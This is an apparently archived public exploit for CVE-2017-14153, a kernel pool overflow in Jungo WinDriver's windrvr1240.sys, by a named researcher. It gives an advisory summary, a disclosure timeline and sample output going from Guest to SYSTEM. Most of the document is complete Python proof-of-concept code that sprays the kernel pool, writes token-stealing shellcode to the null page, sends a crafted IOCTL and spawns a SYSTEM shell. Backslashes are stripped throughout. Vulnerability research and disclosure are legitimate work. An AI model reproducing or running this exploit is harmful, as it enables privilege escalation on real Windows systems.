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Jungo DriverWizard WinDrive Overflow

Posted on 07 September 2017

# -*- coding: utf-8 -*-
"""
Jungo DriverWizard WinDriver Kernel Pool Overflow Vulnerability

Download: http://www.jungo.com/st/products/windriver/
File: WD1240.EXE
Sha1: 3527cc974ec885166f0d96f6aedc8e542bb66cba
Driver: windrvr1240.sys
Sha1: 0f212075d86ef7e859c1941f8e5b9e7a6f2558ad
CVE: CVE-2017-14153
Author: Steven Seeley (mr_me) of Source Incite
Affected: <= v12.4.0
Thanks: b33f, ryujin and sickness
Analysis: http://srcincite.io/blog/2017/09/06/sharks-in-the-pool-mixed-object-exploitation-in-the-windows-kernel-pool.html

Summary:
========

This vulnerability allows local attackers to escalate privileges on vulnerable installations of Jungo WinDriver. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

The specific flaw exists within the processing of IOCTL 0x953824b7 by the windrvr1240 kernel driver. The issue lies in the failure to properly validate user-supplied data which can result in a kernel pool overflow. An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.

Timeline:
=========

2017-08-22 a Verified and sent to Jungo via sales@/first@/security@/info@jungo.com
2017-08-25 a No response from Jungo and two bounced emails
2017-08-26 a Attempted a follow up with the vendor via website chat
2017-08-26 a No response via the website chat
2017-09-03 a Recieved an email from a Jungo representative stating that they are "looking into it"
2017-09-03 a Requested a timeframe for patch development and warned of possible 0day release
2017-09-06 a No response from Jungo
2017-09-06 a Public 0day release of advisory

Example:
========

C:UsersGuestDesktop>icacls poc.py
poc.py NT AUTHORITYAuthenticated Users:(I)(F)
NT AUTHORITYSYSTEM:(I)(F)
BUILTINAdministrators:(I)(F)
BUILTINUsers:(I)(F)
Mandatory LabelLow Mandatory Level:(I)(NW)

Successfully processed 1 files; Failed processing 0 files

C:UsersGuestDesktop>whoami
debugeeguest

C:UsersGuestDesktop>poc.py

--[ Jungo DriverWizard WinDriver Kernel Pool Overflow EoP exploit ]
Steven Seeley (mr_me) of Source Incite

(+) spraying pool with mixed objects...
(+) sprayed the pool!
(+) making pool holes...
(+) made the pool holes!
(+) allocating shellcode...
(+) allocated the shellcode!
(+) triggering pool overflow...
(+) allocating pool overflow input buffer
(+) elevating privileges!
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:UsersGuestDesktop>whoami
nt authoritysystem

C:UsersGuestDesktop>
"""
from ctypes import *
from ctypes.wintypes import *
import struct, sys, os, time
from platform import release, architecture

ntdll = windll.ntdll
kernel32 = windll.kernel32
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
STATUS_SUCCESS = 0x0
STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
STATUS_INVALID_HANDLE = 0xC0000008
SystemExtendedHandleInformation = 64

class LSA_UNICODE_STRING(Structure):
"""Represent the LSA_UNICODE_STRING on ntdll."""
_fields_ = [
("Length", USHORT),
("MaximumLength", USHORT),
("Buffer", LPWSTR),
]

class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
"""Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll."""
_fields_ = [
("Object", c_void_p),
("UniqueProcessId", ULONG),
("HandleValue", ULONG),
("GrantedAccess", ULONG),
("CreatorBackTraceIndex", USHORT),
("ObjectTypeIndex", USHORT),
("HandleAttributes", ULONG),
("Reserved", ULONG),
]

class SYSTEM_HANDLE_INFORMATION_EX(Structure):
"""Represent the SYSTEM_HANDLE_INFORMATION on ntdll."""
_fields_ = [
("NumberOfHandles", ULONG),
("Reserved", ULONG),
("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),
]

class PUBLIC_OBJECT_TYPE_INFORMATION(Structure):
"""Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll."""
_fields_ = [
("Name", LSA_UNICODE_STRING),
("Reserved", ULONG * 22),
]

class PROCESSENTRY32(Structure):
_fields_ = [
("dwSize", c_ulong),
("cntUsage", c_ulong),
("th32ProcessID", c_ulong),
("th32DefaultHeapID", c_int),
("th32ModuleID", c_ulong),
("cntThreads", c_ulong),
("th32ParentProcessID", c_ulong),
("pcPriClassBase", c_long),
("dwFlags", c_ulong),
("szExeFile", c_wchar * MAX_PATH)
]

Process32First = kernel32.Process32FirstW
Process32Next = kernel32.Process32NextW

def signed_to_unsigned(signed):
"""
Convert signed to unsigned integer.
"""
unsigned, = struct.unpack ("L", struct.pack ("l", signed))
return unsigned

def get_type_info(handle):
"""
Get the handle type information to find our sprayed objects.
"""
public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION()
size = DWORD(sizeof(public_object_type_information))
while True:
result = signed_to_unsigned(
ntdll.NtQueryObject(
handle, 2, byref(public_object_type_information), size, None))
if result == STATUS_SUCCESS:
return public_object_type_information.Name.Buffer
elif result == STATUS_INFO_LENGTH_MISMATCH:
size = DWORD(size.value * 4)
resize(public_object_type_information, size.value)
elif result == STATUS_INVALID_HANDLE:
return None
else:
raise x_file_handles("NtQueryObject.2", hex (result))

def get_handles():
"""
Return all the processes handles in the system at the time.
Can be done from LI (Low Integrity) level on Windows 7 x86.
"""
system_handle_information = SYSTEM_HANDLE_INFORMATION_EX()
size = DWORD (sizeof (system_handle_information))
while True:
result = ntdll.NtQuerySystemInformation(
SystemExtendedHandleInformation,
byref(system_handle_information),
size,
byref(size)
)
result = signed_to_unsigned(result)
if result == STATUS_SUCCESS:
break
elif result == STATUS_INFO_LENGTH_MISMATCH:
size = DWORD(size.value * 4)
resize(system_handle_information, size.value)
else:
raise x_file_handles("NtQuerySystemInformation", hex(result))

pHandles = cast(
system_handle_information.Handles,
POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 
system_handle_information.NumberOfHandles)
)
for handle in pHandles.contents:
yield handle.UniqueProcessId, handle.HandleValue, handle.Object

def we_can_alloc_shellcode():
"""
This function allocates the shellcode @ the null page making
sure the new OkayToCloseProcedure pointer points to shellcode.
"""
baseadd = c_int(0x00000004)
null_size = c_int(0x1000)

tokenstealing = (
"x33xC0x64x8Bx80x24x01x00x00x8Bx40x50x8BxC8x8Bx80"
"xB8x00x00x00x2DxB8x00x00x00x83xB8xB4x00x00x00x04"
"x75xECx8Bx90xF8x00x00x00x89x91xF8x00x00x00xC2x10"
"x00" )

OkayToCloseProcedure = struct.pack("<L", 0x00000078)
sc = "x42" * 0x70 + OkayToCloseProcedure

# first we restore our smashed TypeIndex
sc += "x83xC6x0c" # add esi, 0c
sc += "xc7x06x0ax00x08x00" # mov [esi], 8000a
sc += "x83xeex0c" # sub esi, 0c
sc += tokenstealing
sc += "x90" * (0x400-len(sc))
ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong,
POINTER(c_int), c_int, c_int]
dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0,
byref(null_size),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
if dwStatus != STATUS_SUCCESS:
print "(-) error while allocating the null paged memory: %s" % dwStatus
return False
written = c_ulong()
write = kernel32.WriteProcessMemory(0xffffffff, 0x00000004, sc, 0x400, byref(written))
if write == 0:
print "(-) error while writing our junk to the null paged memory: %s" % write
return False
return True

def we_can_spray():
"""
Spray the Kernel Pool with IoCompletionReserve and Event Objects.
The IoCompletionReserve object is 0x60 and Event object is 0x40 bytes in length.
These are allocated from the Nonpaged kernel pool.
"""
handles = []
IO_COMPLETION_OBJECT = 1
for i in range(0, 25000):
handles.append(windll.kernel32.CreateEventA(0,0,0,0))
hHandle = HANDLE(0)
handles.append(ntdll.NtAllocateReserveObject(byref(hHandle), 0x0, IO_COMPLETION_OBJECT))

# could do with some better validation
if len(handles) > 0:
return True
return False

def alloc_pool_overflow_buffer(base, input_size):
"""
Craft our special buffer to trigger the overflow.
"""
print "(+) allocating pool overflow input buffer"
baseadd = c_int(base)
size = c_int(input_size)
input = "x41" * 0x18 # offset to size
input += struct.pack("<I", 0x0000008d) # controlled size (this triggers the overflow)
input += "x42" * (0x90-len(input)) # padding to survive bsod
input += struct.pack("<I", 0x00000000) # use a NULL dword for sub_4196CA
input += "x43" * ((0x460-0x8)-len(input)) # fill our pool buffer

# repair the allocated chunk header...
input += struct.pack("<I", 0x040c008c) # _POOL_HEADER
input += struct.pack("<I", 0xef436f49) # _POOL_HEADER (PoolTag)
input += struct.pack("<I", 0x00000000) # _OBJECT_HEADER_QUOTA_INFO
input += struct.pack("<I", 0x0000005c) # _OBJECT_HEADER_QUOTA_INFO
input += struct.pack("<I", 0x00000000) # _OBJECT_HEADER_QUOTA_INFO
input += struct.pack("<I", 0x00000000) # _OBJECT_HEADER_QUOTA_INFO
input += struct.pack("<I", 0x00000001) # _OBJECT_HEADER (PointerCount)
input += struct.pack("<I", 0x00000001) # _OBJECT_HEADER (HandleCount)
input += struct.pack("<I", 0x00000000) # _OBJECT_HEADER (Lock)
input += struct.pack("<I", 0x00080000) # _OBJECT_HEADER (TypeIndex)
input += struct.pack("<I", 0x00000000) # _OBJECT_HEADER (ObjectCreateInfo)

# filler
input += "x44" * (input_size-len(input))
ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong,
POINTER(c_int), c_int, c_int]
dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0,
byref(size),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
if dwStatus != STATUS_SUCCESS:
print "(-) error while allocating memory: %s" % hex(dwStatus + 0xffffffff)
return False
written = c_ulong()
write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))
if write == 0:
print "(-) error while writing our input buffer memory: %s" % write
return False
return True

def we_can_trigger_the_pool_overflow():
"""
This triggers the pool overflow vulnerability using a buffer of size 0x460.
"""
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
DEVICE_NAME = "\\.\WinDrvr1240"
dwReturn = c_ulong()
driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
inputbuffer = 0x41414141
inputbuffer_size = 0x5000
outputbuffer_size = 0x5000
outputbuffer = 0x20000000
alloc_pool_overflow_buffer(inputbuffer, inputbuffer_size)
IoStatusBlock = c_ulong()

if driver_handle:
dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle, None, None, None, byref(IoStatusBlock), 0x953824b7,
inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size)
return True
return False

def we_can_make_pool_holes():
"""
This makes the pool holes that will coalesce into a hole of size 0x460.
"""
global khandlesd
mypid = os.getpid()
khandlesd = {}
khandlesl = []

# leak kernel handles
for pid, handle, obj in get_handles():

# mixed object attack
if pid == mypid and (get_type_info(handle) == "Event" or get_type_info(handle) == "IoCompletionReserve"):
khandlesd[obj] = handle
khandlesl.append(obj)

# Find holes and make our allocation
holes = []
for obj in khandlesl:

# obj address is the handle address, but we want to allocation
# address, so we just remove the size of the object header from it.
alloc = obj - 0x30

# Get allocations at beginning of the page
if (alloc & 0xfffff000) == alloc:
bin = []

# object sizes
CreateEvent_size = 0x40
IoCompletionReserve_size = 0x60
combined_size = CreateEvent_size + IoCompletionReserve_size

# after the 0x20 chunk hole, the first object will be the IoCompletionReserve object
offset = IoCompletionReserve_size
for i in range(offset, offset + (7 * combined_size), combined_size):
try:
# chunks need to be next to each other for the coalesce to take effect
bin.append(khandlesd[obj + i])
bin.append(khandlesd[obj + i - IoCompletionReserve_size])
except KeyError:
pass

# make sure it's contiguously allocated memory
if len(tuple(bin)) == 14:
holes.append(tuple(bin))

# make the holes to fill
for hole in holes:
for handle in hole:
kernel32.CloseHandle(handle)
return True

def trigger_lpe():
"""
This function frees the IoCompletionReserve objects and this triggers the
registered aexit, which is our controlled pointer to OkayToCloseProcedure.
"""
# free the corrupted chunk to trigger OkayToCloseProcedure
for k, v in khandlesd.iteritems():
kernel32.CloseHandle(v)
os.system("cmd.exe")

def main():
print "
	--[ Jungo DriverWizard WinDriver Kernel Pool Overflow EoP exploit ]"
print "	 Steven Seeley (mr_me) of Source Incite
"

if release() != "7" or architecture()[0] != "32bit":
print "(-) although this exploit may work on this system,"
print " it was only designed for Windows 7 x86."
sys.exit(-1)

print "(+) spraying pool with mixed objects..."
if we_can_spray():
print "(+) sprayed the pool!"
print "(+) making pool holes..."
if we_can_make_pool_holes():
print "(+) made the pool holes!"
print "(+) allocating shellcode..."
if we_can_alloc_shellcode():
print "(+) allocated the shellcode!"
print "(+) triggering pool overflow..."
if we_can_trigger_the_pool_overflow():
print "(+) elevating privileges!"
trigger_lpe()

if __name__ == '__main__':
main()

 

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